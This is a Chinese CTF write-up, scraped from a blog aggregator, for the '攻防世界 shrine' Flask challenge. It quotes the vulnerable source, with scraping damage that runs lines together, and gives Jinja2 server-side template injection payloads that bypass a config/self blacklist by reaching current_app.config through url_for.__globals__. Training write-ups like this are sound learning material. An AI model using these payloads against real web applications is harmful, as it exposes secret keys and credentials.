当前位置: 首页 > news >正文

攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

import flask
import osapp = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")@app.route("/")   //访问根目录,读取__file__的内容
def index():return open(__file__).read()@app.route("/shrine/")
def shrine(shrine):def safe_jinja(s):s = s.replace("(", "").replace(")", "") //过滤括号blacklist = ["config", "self"]    //黑名单,过滤config和selfreturn "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤return flask.render_template_string(safe_jinja(shrine))  //存在模版注入if __name__ == "__main__":app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

http://www.dtcms.com/a/478793.html

相关文章:

  • arkTs:UIAbility 生命周期(补充版)
  • wordpress 首页导航代码广告网站建设网站排名优化
  • Synwit UI Creator中文输入法移植指南
  • wordpress tag生成的链接乱张家港优化网站seo
  • 中天建设集团网站wordpress显示不了图片
  • 【React】19.2 新特性全面解析:并发优化与性能提升指南
  • SALSITA AI:3D产品演示、安装动态过程展示
  • 网站建设国内现状松原网站推广
  • 东营区建设局网站湛江城乡建设局网站
  • 多制式基站综合测试线的架构与验证实践(2)
  • 基于单片机智能水产养殖系统设计(论文+源码)
  • 关于STM32L051单片机(Stop)休眠唤醒后初始化USART2,单片机死机问题
  • 做网站的一些好处科技类网站简介怎么做
  • xgboost参数含义以及应付金融数据中的类别不平衡的套路
  • 养殖类网站模板建筑设计网站排行榜
  • Cursor 对话技巧 【Prompt 模板与全局通用规则】
  • 按键控制LED灯
  • 打工人日报#202510012
  • 网站备案 做网站东莞有互联网企业吗
  • 涪城移动网站建设如何自己学建设网站
  • codeforces round1057(div2)AB题解
  • 【ADS】【python基础】jupyter notebook环境极简搭建
  • 【办公类-115-05】20250920职称资料上传04——PDF和PDF合并PDF、图片和PDF合并PDF(十三五PDF+十四五图片)
  • MySQL分库分表方案及优缺点分析
  • 存储引擎(MySQL体系结构、InnoDB、MyISAM、Memory区别及特点、存储引擎的选择方案)
  • 星外网站开发苏州网络推广
  • 怎么做网站横幅建设工程协会网站查询系统
  • 1NumPy 常用代码示例
  • 【工业场景】用YOLOv8实现行人识别
  • 新手玩Go协程的一些小坑